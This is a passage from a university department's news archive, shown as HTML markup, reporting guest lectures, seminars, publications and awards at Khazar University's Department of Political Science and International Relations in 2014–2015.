2015</strong>&nbsp;</p><p style=\"text-align:justify\">On April 14, 2015,&nbsp;Head of the Political Science and International Relations Department Dr. Mukhtar Hajizada’s work has been published in the Perceptions Journal of International Affairs (Volume XIX, Number 3, pp. 101-121). In his article, Dr. Hajizada discusses the detected indicators and general patterns of complex regionalization around the Black Sea. With the aim to determine the extent to which the countries in the wider Black Sea area have been able to act collectively following the formal cooperation they launched in 1992, the paper discusses the plurilateral as well as minilateral cooperation efforts, the attempts for business cooperation, and energy cooperation in the region.&nbsp; The Perceptions is a refereed quarterly English language academic journal and is listed in databases and indexes including Columbia International Affairs Online, CSA Index, Current Contents of Periodicals on the Middle East, EBSCO, European Sources Online, Index Islamicus, International Political Science Abstracts (IPSA), Lancaster Index to Defense &amp; International Security Literature, PAIS Index, Pro Quest, and Turkish Academic Network and Information Center (TÜBİTAK - ULAKBIM).</p><p><br></p><p><strong>Guest Lecture on EU’s Response to Conflicts in Eastern Europe</strong></p><p><strong>2 April 2015</strong>&nbsp;</p><p style=\"text-align:justify\">On April 2, 2015, the Department of Political Science and International Relations hosted Dr. Sabine Freizer who delivered a lecture on the EU’s response to conflicts in Eastern Europe. She suggested that the conflicts in former Yugoslavia and the Soviet Union had similar root causes and asked whether there may be lessons learned from the EU’s intervention in the Western Balkans for the South Caucasus. Dr. Freizer presented in detail the case of Kosovo-Serbia, particularly its mediation in 2011-2013 which resulted in the Agreement of Principles Governing the Normalization of Relations. She emphasized that EU mediation did not resolve the conflict over Kosovo’s status but instead focused on normalizing relations between Belgrade and Pristina. That was possible because of the EU’s carrots and sticks – EU candidacy status for Serbia and visa liberalization for Kosovo. In the South Caucasus, the EU has also encouraged Georgia to engage with Abkhazia. The strategy is not “conflict resolution but conflict transformation” as the EU is not a traditional (hard) security provider. In the question and answer session, which was moderated by the Jean Monnet Chair, Dr. Mukhtar Hajizada, several participants asked the lecturer to link this to the EU’s approach to Nagorno-Karabakh, to Ukraine, and the definition of “wider Europe.”&nbsp; After the lecture, Dr. Freizer met with Prof. Hamlet Isaxanli, the founder of Khazar University and Chairman of its Board of Directors and Trustees.</p><p><br></p><p><strong>Department Head Gives Lecture in Swedish University</strong></p><p><strong>26-27 February 2015</strong>&nbsp;</p><p style=\"text-align:justify\">On February 26-27, 2015,&nbsp;Dr. Mukhtar Hajizada, Head of the Khazar University Department of Political Science and International Relations as well as Jean Monnet Chair for European Integration, visited the Kingdom of Sweden . On his trip, which fell during the time of the 23rd anniversary of the Khojaly Genocide, he gave lectures on “Security Threats and Regional Partnership Opportunities in the South Caucasus” at Gothenburg University and Linköpings University.</p><p><br></p><p><strong>Seminar on \"National Identity and Cultural Unity in the Turkic World\"</strong>&nbsp;</p><p><strong>19 February 2015</strong>&nbsp;</p><p style=\"text-align:justify\">On February 19, 2015, a seminar on \"National Identity and Cultural Unity in the Turkic World\" was organized by the Khazar University Department of Political Science and International Relations at the Turkic World Research Center as part of the Turkic World Seminar Series for students. Guests visiting for the seminar included Recep Garip, who served as a member of the National Commission for Education and Youth of the Turkish Parliament in 2002-2007; Mustafa Hasim Polat, Head Coordinator of the Turkish Agency for Partnership and Development; and Abdulgaffur Buyukfirat, educational adviser to the Turkish Embassy in Azerbaijan, along with his colleague Hayri Atash. Before the lecture, the guests met with Prof. Hamlet Isaxanli, founder of Khazar University and Chairman of its Board of Directors and Trustees. Recep Garip gave the main lecture. Then discussions were held on the theme, moderated by Dr. Mukhtar Hajizada, Head of the Department of Political Science and International Relations, who also thanked the guests and noted the importance of national identity and cultural unity in research on the international relations within the geographical area of the Turkic world. Dr. Vurgun Eyyub, Head of the Department of Azerbaijani Language and Literature, spoke about the need to further develop literary relations in the Turkic world. Dr. Elza Samadova, Dean of the School of Education, also called attention to the value of organizing scholarly seminars to increase understanding of national identity and strengthen cultural unity. Baba Bayramli, the Coordinator of the Department of Political Science and International Relations, spoke about the role of literature and poetry in cultural unity. &nbsp;&nbsp;&nbsp;</p><p>For photos&nbsp;<a href=\"http://www.khazar.org/news/2015/Seminar-on-National-Identity-and-Cultural-Unity-in-the-Turkic-World_6655.html\">click here.</a></p><p><br></p><p><strong>Open Lecture by French Ambassador on Political Structure and Culture of France</strong></p><p><strong><a href=\"http://www.khazar.org/news/2015/Seminar-on-National-Identity-and-Cultural-Unity-in-the-Turkic-World_6655.html\" target=\"_blank\" title=\"click here\"></a></strong><strong>18 February 2015</strong>&nbsp;</p><p style=\"text-align:justify\">On February 18, 2015, His Excellency Mr. Pascal Meunier, Ambassador of the Republic of France to the Republic of Azerbaijan, delivered a special lecture upon the invitation of the Department of Political Science and International Relations at Khazar University. He spoke about French politics and provided a comprehensive overview of the political culture of this country. He highlighted the Franco-German friendship which became possible in the aftermath of the Second World War and laid the cornerstone of regional integration into Western Europe. Furthermore, he informed the audience about the stand of France with regard to the Eastern and Southern dimensions of the European Union and made mention of the participation of President François Hollande at the Eastern Partnership Vilnius Summit on 29 November 2013. Providing his opinion about the current state of cooperation between the EU and the Eastern Neighbours, Mr. Meunier highlighted the importance that Ukraine find its way - in accordance with the people demonstrating for more cooperation with the EU. In the question and answer session, students had a chance to ask their questions on the French position on various matters occurring in the present including Syria, Mali and Iran. In his answer to the question about the French position in regard to Nagorno Karabagh, the ambassador spoke about the necessity to think about the communities on both sides suffering from the conflict, highlighting the problem of contradiction of&nbsp; general principles in international law, which he called the unconscionable principles. Ambassador Meunier emphasized the importance for France of the principle of territorial integrity but also brought up the stance of France in the unique case of Kosovo, which differentiates from Karabagh. He pointed out how Armenia loses many opportunities by not being on track between Azerbaijan and Turkey but also mentioned possible opportunities for reconciliation in the near future. In response to various calls to the French governments to give up their seat as one of the three Minsk Group chairs, the ambassador reiterated that the decision for such a format was made at the time when the group was formed and maintained that there is no reason why France should give their seat to the European Union. After the lecture, the guest met with Prof. Hamlet Isaxanli, Founder of Khazar University and Chairman of the Board of Directors and Trustees. Then a meal was served at the university in the guests’ honor.</p><p><br></p><p><strong>J</strong><strong>ean Monnet Lecture on the External Relations of the European Union</strong></p><p><strong>5 February 2015</strong>&nbsp;</p><p style=\"text-align:justify\">On February 5, 2015,&nbsp;Dr. Mukhtar Hajizada, Jean Monnet Chair of European Integration and Head of the Department of Political Science and International Relations,&nbsp;gave a lecture on the External Relations of the European Union (EU). This lecture was the first instalment of the “The EU as a Global Player” – a module taught with the support of the Erasmus+ programme of the EU with an aim to deepen teaching and research in European studies.</p><p><strong><br></strong></p><p><strong>Ambassador of Islamic Republic of Pakistan Visits Khazar</strong>&nbsp;</p><p><strong>2 February 2015</strong>&nbsp;</p><p style=\"text-align:justify\">On February 2, 2015,&nbsp;His Excellency Khalid Usman Qaiser, the Ambassador extraordinary and plenipotentiary of the Islamic Republic of Pakistan to the Azerbaijan Republic, visited Khazar University and gave a guest lecture for students majoring in Political Science, International Relations and Regional Studies on the topic of “Regionalism and Globalization: Challenges for Azerbaijan and Pakistan and Way Forward.” After the lecture, the Ambassador answered students’ questions.</p><p><br></p><p><strong>United Nations Simulation Game</strong></p><p><strong>25 December 2014</strong>&nbsp;</p><p style=\"text-align:justify\">On&nbsp; December 25,&nbsp;2014, students of the Department of Political Science and International Relations participated in the United Nations Simulation Game. The Simulation was organized within the Foreign Policy of Azerbaijan course. The scenario of the simulation included consideration of the Syrian crisis at the United Nations Security Council and the General Assembly, imitating the real discussion that took place in the United Nations in the course of the year 2012. The students were acting as permanent representatives of different member states and as UN officials. According to the scenario of the exercise, the United States proposed a draft resolution authorizing the use of force under Chapter VII of the United Nations Charter. As expected, this move led to heated discussions within the Council and ultimately two permanent members vetoed the resolution. Then the United States took the issue to the General Assembly, which adopted a resolution with an overwhelming majority. The students acting as the permanent representatives engaged in live discussions defending positions of the countries they represented. The exercise enabled students to understand the flavor of practical diplomacy in a multilateral format. It also helped students to get a better understanding of how Azerbaijan’s diplomacy operated during the country’s two-year non-permanent membership in the Security Council in 2012-2013.</p><p><br></p><p><strong>Head of the Department of Political Science and International Relations in Ankara</strong>&nbsp;</p><p><strong>10 December 2014</strong>&nbsp;</p><p style=\"text-align:justify\">Dr. Mukhtar Hajizada, Jean Monnet Chair of European Integration and Head of the Department of Political Science and International Relations of Khazar University, delivered a keynote speech at a conference on \"Regional Cooperation Possibilities and Prospects for the Future in the Caucasus.” The event was organized by the Center for Eurasian Studies (AVİM) in partnership with the Konrad Adenauer Stiftung and was held in Ankara on 9 December 2014.</p><p><br></p><p><strong>Seminar on Cyber Security Challenges</strong></p><p><strong>3 December 2014</strong>&nbsp;</p><p style=\"text-align:justify\">On December 3, 2014, the Department of Political Science and International Relations at Khazar University hosted a seminar on cyber security. The talk was delivered by Dina Beer, the Managing Director at Israel Internet Association. The speaker helped students to understand cyber risks and how her organization tries to deliver effective and accessible security. Dina Beer talked about defense from virtual attacks, which is becoming increasingly more difficult as technology continues to develop. She argued that cyber attacks have become part of all conflicts. The participants were interested in how an internet association would normally ensure cyber security, which is becoming vital to the safety and prosperity of a country.</p><p><br></p><p><strong>Guest Lecture on Energy as Facilitator of Cooperation between Turkic Countries and the Neighborhood</strong></p><p><strong>27 November 2014</strong>&nbsp;</p><p style=\"text-align:justify\">On November 27, 2014, the Department of Political Science and International Relations at Khazar University organized a seminar as part of the \"Turkic World Seminar Series,” held in the Center for Turkic World Studies. Prof. Nurşin Ateşoğlu Güney, Head of the Political Science and International Relations Department at Yildiz Technical University, made a presentation on the Southern Gas Corridor and its Future. She gave her perspective on the possibilities of energy cooperation among the Turkic World and beyond in relation to the Southern gas corridor project. Prof. Güney mentioned the potential ‘spillover’ effect of the project and maintained that it will not only bring economic benefits to the Caspian region but also to the neighborhood.</p><p><br></p><p><strong>Jean Monnet Seminar on EU\'s Energy Security Strategy</strong>&nbsp;</p><p><strong>26 November 2014</strong>&nbsp;</p><p style=\"text-align:justify\">On November 26, 2014, the Department of Political Science and International Relations at Khazar University hosted a seminar on the EU\'s Energy Security Strategy after the Ukrainian Crisis. The talk was delivered by Prof. Nurşin Ateşoğlu Güney, Head of the Political Science and International Relations Department at Yildiz Technical University. Prof. Güney talked about the future of the energy roadmap in the aftermath of the Ukrainian crisis. She focused on the possibility of alternative means of acquiring energy supplies to meet the energy demand of the Union. She argued that additional gas supplies to the EU will not be attainable before 2020. Therefore, she maintained that the Union should focus on reducing the demand side of the European energy equation.</p><p><br></p><p><strong>International Conference at Khazar University</strong>&nbsp;</p><p><strong>20 November 2014</strong>&nbsp;</p><p style=\"text-align:justify\">On November 20, 2014, an international conference on Curriculum Review Results and Dual and / or Joint Degree Programs within the “Curriculum Development and Capacity Building in the Field of EU Studies” TEMPUS&nbsp; Project was held at Khazar University. Representatives of Leiden University of the Netherlands, Genoa University of Italy, and Lodz University of Social Sciences of Poland, as well as Baku State University, Baku Slavic University, Azerbaijan University, Nakhchivan State University, Ganja State University and Khazar University participated in the conference. Dr. Farda Asadov, the Vice President of Khazar University for International Affairs, welcomed the conference participants on behalf of the Khazar University leadership and wished them success in their work during the conference and future project activities.&nbsp; Ilham Humbatov, Leading Adviser of the Ministry of Education of Azerbaijan Republic, and Parviz Bagirov, Head of the National Erasmus+ Office in Azerbaijan, also delivered welcoming speeches and expressed their hope that the implementation of the project will have positive results for all beneficiaries. Project coordinator Baba Bayramli made a presentation on the results of realized activities and plans. Presentations on curriculum development were made by: Azad&nbsp; Qaribov, Mukhtar Hajizade, Elsevar Mammadov and Elvin Yusifli of Khazar University; Kamran Eyyubov, Elmira Ismayilova, Farhad&nbsp; Huseynov and Leman Azizova of Baku State University; Bakhtiyar Badalov, Esmira Gahramanova of Azerbaijan University; Irina Kunina and Ayten Suleymanova of Baku Slavic University; Ruslan Mammadov and Mehdi Rahimov of Ganja State University; and Roya Safarova of Nakhchivan State University.&nbsp;Bernard Steunenberg of Leiden University, Agostino Massa of Genoa University and Piotr Kinas of Lodz University of Social Sciences provided feedback on curriculum review in partner Azerbaijani universities which they had conducted before the conference. Conference participants held discussions on development of Dual and / or Joint Degree Programs and short-term student exchanges.&nbsp;</p><p><br></p><p><strong>Jean Monnet Seminar on Policy Implementation in the EU</strong>&nbsp;</p><p><strong>19 November 2014</strong>&nbsp;</p><p style=\"text-align:justify\">On November 19, 2014,&nbsp;the Department of Political Science and International Relations at Khazar University hosted Prof. Bernard Steunenberg, who is the Jean Monnet Ad Personam Chair in European Politics and Professor in Public Administration at Leiden University. He delivered a guest lecture in which he talked about the implementation of EU policy and applied it to the case of cultural heritage policy. He shared his insights on the different ways in which policy implementing agencies interact with national politics and the European Commission oversight, suggesting that different national implementing practices may exist. In addition, he pointed out the importance of establishing an “implementation acquis” among implementing agencies, which may help the EU to better formulate policies in the future.</p><p><br></p><p><strong>Guest Lecture on the Recent Elections in the United States of America</strong>&nbsp;</p><p><strong>18 November 2014</strong>&nbsp;</p><p style=\"text-align:justify\">On November 18, 2014, the Department of Political Science and International Relations at Khazar University hosted Dr. Joseph Robbins for a guest lecture about the recent elections in the United States of America. Dr. Robbins is an Assistant Professor at Sheperd University and his visit was facilitated through the US Embassy Visiting Speakers program. Dr. Robbins spoke about the congressional elections in the US and informed students about their implications. He also discussed the relevance of the Obama healthcare program, immigration and foreign policy. In response to the questions from the audience, Dr. Robbins provided his insights on possible cooperation between Democrats and Republicans on the Ukrainian situation; he also compared the electoral and party systems in Eastern Europe with the USA.</p><p><br></p><p><strong>Staff Exchange within Mevlana Exchange Program</strong>&nbsp;</p><p><strong>12 November 2014</strong>&nbsp;</p><p style=\"text-align:justify\">On November 12, 2014,&nbsp;The Department of Political Science and International Relations at Khazar University has welcomed its first guest lecturer within the scope of the Mevlana Exchange Programme. The program facilitates the exchange of students and academic staff members between Turkish higher education institutions and their foreign partners. The Department will host Prof. Nurşin Ateşoğlu Güney, Head of the Political Science and International Relations Department at Yildiz Technical University. Prof. Güney will lecture on oil and politics for three weeks. She has published in the fields of security studies, Middle East, American foreign and security policy, the European Union, NATO and Turkey, energy security, arms control and disarmament.</p><p><br></p><p><strong>Instructor’s Article Published in The Caucasus and Globalization Journal</strong></p><p><strong>7 November 2014</strong>&nbsp;</p><p style=\"text-align:justify\">On November 7, 2014, an article by Associate Professor Rashad Huseynov, instructor of Khazar University, entitled&nbsp;“The History and evolution of Islamic institutions in Azerbaijan” was published in The Caucasus and&nbsp; Globalization Journal (Volume 8, Issue 1-2, 2014). The research paper is studying the formation and evolution of Islamic institutions in Azerbaijan over the last three centuries, as well as conducting the comparative analysis of their roles and functions under different rules. The author has also identified the contemporary challenges faced by major spiritual bodies in Azerbaijan, especially in terms of status and scope of activities, and explored possible responses to them.&nbsp;</p><p><strong><a href=\"http://www.khazar.org/files/History%20and%20evolution%20of%20Islamic%20institutions%20in%20Azerbaijan.pdf\">History and evolution of Islamic institutions in Azerbaijan</a></strong></p><p><br></p><p><strong>\"Turkic World Seminar Series” has been launched</strong></p><p><strong><a href=\"http://www.khazar.org/files/History%20and%20evolution%20of%20Islamic%20institutions%20in%20Azerbaijan.pdf\"></a></strong><strong>5 November 2014</strong>&nbsp;</p><p style=\"text-align:justify\">On November 5, 2014,&nbsp;the first seminar of the \"Turkic World Seminar Series” was held in the Center for Turkic World Studies, which was established at Khazar University and will be officially opened soon. Professor Hamlet Isaxanli, Founder of Khazar University and Chairman of the Board of Directors and Trustees, opened the event and talked about the importance of this series of seminars and creating an appropriate platform for Turkish scholars in Azerbaijan. Then Mr. Mustafa Haşim Polat, Senior Coordinator of the Baku Office of the Turkish Cooperation and Development Agency, gave information about programs carried out by his organization in Azerbaijan. Dr. Mukhtar Hajizada, Head of the Department of Political Science and International Relations of Khazar university, noted that he believes the center will be useful for those studying Turkish political culture and history as well as those who are interested in the Turkic world and doing research in this area of scholarship. After the opening speeches, Professor Murat Yülek of Istanbul Commerce University delivered a lectured on the economic potential of the Turkic world in the era of globalization world and shared his views on various ideas on economic cooperation. Following the the talk, a discussion was held in which faculty, staff and students of the university expressed their views on the topic.</p><p><br></p><p><strong>Book Co-authored by Azad Garibov, PhD candidate at Khazar University, Published in Italy</strong>&nbsp;</p><p><strong>30 October 2014</strong>&nbsp;</p><p style=\"text-align:justify\">\"The Caspian Sea Chessboard\" is a joint project of the Center for Strategic Studies under the President of Azerbaijan (SAM) and the Italian Institute for International Political Studies (ISPI). It was published by Egea publishing house in Milan, Italy. The book was co-edited and co-authored by Azad Garibov, PhD candidate at Khazar University and research-fellow at SAM, and Carlo Frappi, Associate Fellow at the Caucasus and Central Asia Programme of ISPI. The book covers geo-political and geo-economic processes in the Caspian region, including the policies pursued by the littoral states as well as the extra-regional actors’ strategies towards the region.&nbsp; Along with the experts of both centers who participated in the writing of the book, several well-known experts from the Caspian littoral countries also contributed to the volume. The foreword to the book was written by SAM Director Farhad Mammadov and ISPI Director and Executive Vice-President Paolo Magri. \"The Caspian Sea Chessboard\" has so far been one of the most comprehensive research works accomplished on the Caspian basin which examines the relevance of the region to the modern system of international relations, as well as describing it as an autonomous sub-system with its complex regional realities and their connection to the outside world. The first part of the volume examines the transnational issues at stake in the Caspian that play an important role in determining littoral states\' regional policies and which, in order to be addressed, demand cooperation among all of the riparian countries. It covers the legal status of the Caspian sea, regional arms race and militarization of the sea, energy infrastructure security, international cooperation in the field of marine environment, etc. The second chapter covers regional policies practiced on behalf of the Caspian littoral states. It tells about the interests of Azerbaijan, Russia, Kazakhstan, Turkmenistan and Iran in the Caspian Sea as well as their economic and political strategies in the region. Finally, the last chapter sheds light on the policies of the great powers in the Caspian region. Here, the authors examine the relations between the five littoral states and the United States, European Union, Turkey and China.</p><p><br></p><p><strong>Head of the Department of Political Science and International Relations at Conference in New York</strong>&nbsp;</p><p><strong>27 October 2014</strong>&nbsp;</p><p style=\"text-align:justify\">Dr. Mukhtar Hajizada, Head of the Department of Political Science and International Relations at Khazar University, was invited to chair a panel at the 15th Annual Conference of the Central Eurasian Studies Society (CESS). The academic conference was held from October 24-26 and hosted by Columbia University, New York. The panel discussed topics relating to political aspects of social science scholarship on Central Eurasia – the geographic domain which extends from the Black Sea to Mongolia and Siberia, including the Caucasus.</p><p><br></p><p><strong>“Political Challenges of Religious Pluralism” Lecture</strong>&nbsp;</p><p><strong>22 October 2014</strong>&nbsp;</p><p style=\"text-align:justify\">On&nbsp; October 22, 2014, the Department of Political Science and International Relations at Khazar University hosted Dr. Ansgar Jödicke, who is a researcher at the Université de Fribourg, Switzerland, to deliver a guest lecture on the political challenges of religious pluralism in which he talked about European schools as case studies. At the beginning of his presentation, Dr. Jödicke stated that politics of religion uses various means to support, regulate or limit religions. He has chosen the field of religion in schools to demonstrate the variety of configurations that occur across different European countries. The presentation mapped out certain controversial issues in this field: religious symbols, participation in school, and religious education. According to Dr. Jödicke, there is not one single model for religious education, but it is favorable to use this field for negotiations between the state and religious communities.</p><p><br></p><p><strong>Youth Foundation Grant Competition was held</strong>&nbsp;</p><p><strong>18 October 2014</strong>&nbsp;</p><p style=\"text-align:justify\">On October 18, 2014,&nbsp;Youth Foundation Under the President of the Republic of Azerbaijan held a presentation about the terms and conditions of a grant competition&nbsp;for individuals between 14-29 years old. &nbsp;After a brief introduction about the event&nbsp;by Dr. Mukhtar Hajizadeh, Head of the Department of Political Science and International Relations of the university, Vagif Seyidbeyov, the head of the fund’s sector for projects and regional work,&nbsp;gave information about the conditions of the competition. It was noted that since the grant competition had been announced by the foundation, this presentation which was arranged for students of Khazar University and \"Dunya\" School was the first presentation of its kind. It was also&nbsp;reported that the deadline for the project is November 18.&nbsp;At the end, participants’ questions were answered.</p><p><br></p><p><strong>First Jean Monnet Chair in Azerbaijan Awarded to Head of Department of Khazar University</strong>&nbsp;</p><p><strong>17 September 2014</strong>&nbsp;</p><p style=\"text-align:justify\">On September 17, 2014,&nbsp;Dr. Mukhtar Hajizada, Head of the Department of Political Science and International Relations at Khazar University, was awarded the globally recognized and prestigious Jean Monnet Chair for his academic and pedagogical activities and his professional level in the field of European integration. The Jean Monnet Chair is a pedagogical title recognizing quality of teaching and innovation specializing in European circles. &nbsp;The Jean Monnet Chair Award is given by the European Commission based on a global-scale international competition for a term of 3 years to support teaching and research on European integration. It should be noted that Dr. Hajizada is the first Jean Monnet Chair ever to win this award&nbsp;in Azerbaijan and only person in the South Caucasus in 2014.&nbsp;&nbsp;</p><p><br></p><p><strong>Guest Lecture and Agreement Signed with International Centre for Black Sea Studies</strong></p><p><strong>17 September 2014</strong>&nbsp;</p><p style=\"text-align:justify\">On September 17, 2014, the Department of Political Science and International Relations at Khazar University hosted a lecture entitled “Perspectives on the European Union and the Black Sea Regional Cooperation.” The lecture was delivered by Dr. Zefi Dimadama, Director General of The International Centre for Black Sea Studies (ICBSS). The ICBSS is based in Athens and is a related body to the Black Sea Economic Cooperation (BSEC) – the intergovernmental regional organization of which Azerbaijan was a founding member. Dr. Zefi Dimadama made a presentation about the ICBSS and BSEC, informing the student body about the publications of the centre. Dr. Dimadama provided her insights into the unfolding events in the wider Black Sea area which pose a challenge to regional integration and talked about opportunities for regional cooperation and the importance of the region for the European Union. The Ambassador Extraordinary and Plenipotentiary of Greece to Azerbaijan, H.E. Mr. Dimitrios Tsoungas, who also participated in the event, also informed the audience about the priorities of the Hellenic Chairmanship of the BSEC which is from 1 July 2014 to 31 December 2014. The talk was preceded by the signing ceremony of the Cooperation and Academic Exchange Agreement between Khazar University and The International Centre For Black Sea Studies (ICBSS) – signed by Professor Hamlet Isaxanli, the Founder and Chairman of the Board of Directors and Trustees of Khazar University, and Dr. Zefi Dimadama. The event was organized within the Jean Monnet European Seminar Series with the support of the Erasmus+ program of the European Union.</p><p style=\"text-align:justify\"><br></p><p><strong>Jean Monnet lecture has been held</strong></p><p><strong>17 September 2014</strong> &nbsp;</p><p style=\"text-align:justify\">On September 17, 2014,&nbsp;Dr. Mukhtar Hajizada, Jean Monnet Chair and Head of the Department of Political Science and International Relations,&nbsp;gave the opening lecture on the historical background of the European Community. The lecture was given within the European Integration in Comparative Perspectives – a module taught with the support of the Erasmus+ programme of the European Union with an aim to deepen teaching in European studies.</p><p><br></p><p><strong>Former UK Secretary of State for Defence at Khazar</strong></p><p><strong>16 September 2014</strong>&nbsp;</p><p style=\"text-align:justify\">On September 16, 2014,&nbsp;the&nbsp;Department of Political Science and International Relations at Khazar university&nbsp;hosted Rt. Hon. Dr. Liam Fox, who spoke about the contemporary challenges and risks of globalization and what lessons Europe can learn from them. Dr. Fox has been a Member of the House of Commons - UK Parliament since 2010 and was Secretary of State for Defence from 2010 to 2011. The event started with a welcoming speech by Professor Hamlet Isaxanli, the Founder and Chairman of the Board of Directors and Trustees of Khazar University, who presented the guest lecturer to the audience. Dr. Mukhtar Hajizada, Jean Monnet Chair and Head of the Department of Political Science and International Relations, informed the audience about the European Seminar Series the department has launched to facilitate discussion on various aspects of European integration. Dr. Liam Fox started his presentation discussing transnational terrorism and security challenges of the modern era with a particular focus on various hotspots in the world, especially in states with nuclear security problems. He also talked about the competition over global commodities. He shared his memories as a Former Secretary of State for Defence with the audience, which was composed of students of the department as well as members of the community attending the seminar. He also shared his opinion on various topical and timely matters of international relations including the Scottish referendum, Britain and the European Union and the European Security and Defence Policy. After the question-and-answer session, the participants of the event had further informal discussion over refreshments.</p><p><br></p><p><strong>Final Meeting of Staff-Student Consultative Committee of the Department of Political Science and International Relations</strong></p><p><strong>24 June 2014</strong> &nbsp;</p><p style=\"text-align:justify\">On&nbsp; June 24,&nbsp;2014, the Staff-Student Consultative Committee of the Department of Political Science and International Relations&nbsp;held its final meeting for the current 2013-2014 academic year. Dr. Mukhtar Hajizada, the Head of the Department, convened and chaired the meeting. Following the approval of the minutes from the previous meeting of the Committee, the elected student representatives of the Committee discussed the progress made on the points raised in the previous meeting. Kamran Mammadov, Anar Qurbanov, Mirzeaga Samadov, Seda Hasanova and Gunel Mammadova suggested new agenda items which were discussed in an open and thorough manner. In conclusion, the student representatives expressed their satisfaction for the opportunity to have a structured forum to discuss their concerns with regard to teaching, learning and student support issues on the departmental level. Dr. Hajizada thanked them for their contribution to the Committee and acknowledged their university service which lasted for one academic year. The new members of the Committee will be elected by the student body of the university in the 2014-2015 academic year.</p><p><br></p><p><strong>Faculty Member wins “Mobility Grant\"</strong>&nbsp;</p><p><strong>24 June 2014</strong>&nbsp;</p><p style=\"text-align:justify\">On June 24, 2014,&nbsp;The Science Development Fund under the President of the Azerbaijan Republic announced the results of its 2014 \"Mobility Grant\" contest for&nbsp;participation in scientific events and short-term foreign internship programs. It was noted that 35 projects were submitted to the contest. These projects were evaluated, and 6 projects that didn’t meet the requirements of competition were eliminated from the contest.&nbsp; 29 projects advanced to the scientific expertise stage. Among them 11 winning projects were determined and were approved by the Science Development Fund by a decision dated June 11, 2014. The project of Dr. Mukhtar Hajizada, Head of the Department of Political Science and International Relations, entitled “Security imperatives and opportunities for a security society in the wider Black Sea region\" was one of those 11 winning projects. This year from July 30 to August 30, Dr. Hajizada will be a visiting research fellow at the University of Bath (UK).</p><p><strong><br></strong></p><p><strong>University Faculty and Administration Visits Korea</strong></p><p><strong>3 June 2014</strong>&nbsp;</p><p style=\"text-align:justify\">On June 3, 2014, a&nbsp;delegation of Khazar University faculty and administrators, headed by Prof. Hamlet Isakhanli, the Founder and Chairman of Board of Directors and Trustees, and composed of Dr. Mukhtar Hajizada and Dr. Rovshan Abbasov, took a working trip to Seoul, the Republic of Korea. The aim of the trip was to attend the 2nd Interuniversity conference jointly organized by Khazar University and the University of Seoul and to hold a series of meetings at various Korean institutions to discuss cooperation opportunities. On May 30, 2014, the delegation from Khazar University and the representatives of the University of Seoul convened a colloquium at the University of Seoul. During the colloquium, Professor Kim Seok Woo of the Department of International Relations spoke about the Korean-Azerbaijani relations in an era of globalization. Professor Hamlet Isakhanli delivered a talk about the national identity with an emphasis on the case of Azerbaijan. Professor Se Hyun Ahn spoke about Russian and Korean relations. Dr. Mukhtar Hajizada delivered a presentation in which he compared the roles of Azerbaijan and Korea in their neighborhoods and talked about the regional cooperation in the wider Black Sea area and Asia Pacific. Professor Hwang Ji Hwan spoke about the nuclear concerns in Korea and the nuclear issue in North Korea. Dr. Rovshan Abbasov delivered a presentation about the problems and opportunities of the integrated water management in the Greater Baku area. The President of the University of Seoul Professor Kun Lee received the delegation from Khazar University and affirmed his university’s commitment to cooperation with Khazar University. On May 31, 2014, H.E. Mr. Ramzi K. Teymurov, the head of the Azerbaijani Embassy in the Republic of Korea, hosted a reception in honor of the delegation from Khazar University. During the reception, Professor Isakhanli informed the participants about the existing and prospective academic collaboration between Khazar University and Korean institutions of research and education.&nbsp; While in Seoul, the delegation met with the representatives of various organizations and explored opportunities for academic collaboration and student exchange. They also met with Professor Kyungsun Park from the School of Real Estate and Finance at Youngsan University and agreed on interuniversity cooperation. The delegation was also hosted by the Greenhouse Gas Inventory and Research Center of Korea and was met by Deputy Director Mr. Jae H. Hung and Mr. Song Kim of the International Cooperation unit.</p><p><strong><br></strong></p><p><strong>Roundtable on Azerbaijan and Islam in an Era of Globalization</strong>&nbsp;</p><p><strong>14 May 2014</strong>&nbsp;</p><p style=\"text-align:justify\">On May 14, 2014, the Department of Political Science and International Relations at Khazar University, in collaboration with the Baku office of the French Institute of Anatolian Studies (IFEA), organized a roundtable to discuss Azerbaijan and Islam in an Era of Globalization. Dr. Mukhtar Hajizada, who chaired the event, gave an opening speech in which he mentioned the role of religion in Azerbaijan and how it had an impact on the history, culture and lifestyle of the country. The first speaker, Dr. Elnura Azizova of Khazar University, gave a presentation on the arrival of Islam in Azerbaijan in the 7th century. Dr. Adeline Braux, a researcher at the French Institute of Anatolian Studies, shared her research findings on the religious life of the Azerbaijani community in Moscow. Dr. Mohamed-Ali Adraoui, who is a Max Weber Fellow at the European University Institute in Florence, spoke about political Islam in the contemporary world and informed the audience about Salafi trends. Dr. Anar Valiev, the dean of the School of Public and International Affairs at ADA University, talked about the role of Islam in Azerbaijan in the period after the country regained its independence. After the question and answer session, a discussion was carried out over tea and refreshments encouraging the audience to interact directly with the speakers.</p><p><strong><br></strong></p><p><strong>64th Anniversary of Europe Day Celebrated</strong></p><p><strong>13 May 2014</strong> &nbsp;</p><p style=\"text-align:justify\">On May 13, 2014, the Department of Political Science and International Relations at Khazar University, in collaboration with the Delegation of the European Union to Azerbaijan, organized an event to&nbsp;celebrate&nbsp;Europe Day. This day, also known as Schuman Day, is&nbsp;observed&nbsp;across Europe to celebrate the historic Schuman Declaration of 9 May 1950.&nbsp;At the event,Dr. Olaf Heidelbach, the project manager at the Delegation, first delivered a presentation on the origins of the European Union, its&nbsp;foundation and its function today. Following the presentation, a discussion was held on a wide range of issues relating to the European integration as well as European Union-&nbsp;Azerbaijan relations which brought together both staff and&nbsp;the&nbsp;student body of the university.</p><p><strong><br></strong></p><p><strong>Ambassador of the Hellenic Republic Meets with Students</strong></p><p><strong>6 May 2014</strong> &nbsp;</p><p style=\"text-align:justify\">On May 6, 2014, the Department of Political Science and International Relations at Khazar&nbsp;University had the pleasure of hosting Ambassador Extraordinary and Plenipotentiary of the Hellenic Republic to the Republic of Azerbaijan on 6 May 2014. H.E. Mr. Dimitrios Tsoungas gave a talk on Ancient Greece and the political system of the Hellenic Republic. The event was organized as a seminar series on Comparative European Politics. Starting with the Greek mythology and gods, he explained the idea of equality in ancient Greece and how the country has gone through tyranny, monarchy, dictatorship and the modern Greek state. He informed the students about the political culture and governance in Greece since 1974. Ambassador Tsoungas informed the students about the constitutional setting of his country and the role of the branches of government. The talk was followed by a question and answer session, moderated by Dr. Mukhtar Hajizada, where the students had a chance to ask questions about ancient Greek political and philosophical thought developed in the city-states including Athens. Questions were posed on the measures Greek government took to cope with the financial crisis,&nbsp; on the foreign policy of Greece towards its neighborhood as well as vis-à-vis the Black Sea Economic Cooperation. The ambassador reiterated his country’s commitment to the regional cooperation in the wider Black Sea 